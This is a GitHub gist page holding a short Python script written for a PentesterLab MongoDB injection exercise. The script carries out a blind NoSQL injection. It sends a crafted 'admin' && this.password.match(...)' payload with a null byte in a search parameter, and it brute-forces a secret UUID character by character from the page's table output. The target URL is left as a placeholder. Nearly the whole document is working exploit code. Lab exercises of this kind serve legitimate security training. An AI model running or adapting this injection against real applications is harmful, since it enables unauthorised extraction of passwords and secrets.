Skip to content

Instantly share code, notes, and snippets.

@4w50m3d3v516n3r
Forked from katiefoster/mdbinj2.py
Created January 5, 2020 15:50
Show Gist options
  • Save 4w50m3d3v516n3r/ef968f02a8a73bbff9924143703dd0f6 to your computer and use it in GitHub Desktop.
Save 4w50m3d3v516n3r/ef968f02a8a73bbff9924143703dd0f6 to your computer and use it in GitHub Desktop.
Pentester Lab: MongoDB Injection #2
#Code for bruteforcing a UUID for pentesterlab's MongoDB injection exercise.
import cookielib, urllib2, urllib
from bs4 import BeautifulSoup
found = ""
potentialChar = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","-"]
while True:
for x in potentialChar:
link = "[REPLACE ME]?search=admin%27%20%26%26%20this.password.match%28/^"+str(found+x)+".*$" + str("/)%00")
r = urllib.urlopen(link).read()
soup = BeautifulSoup(r,"lxml")
string = str(soup.find_all("td"))
if len(string) > 10:
found = found + x
print found
break
else:
print "Key has been found!"
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment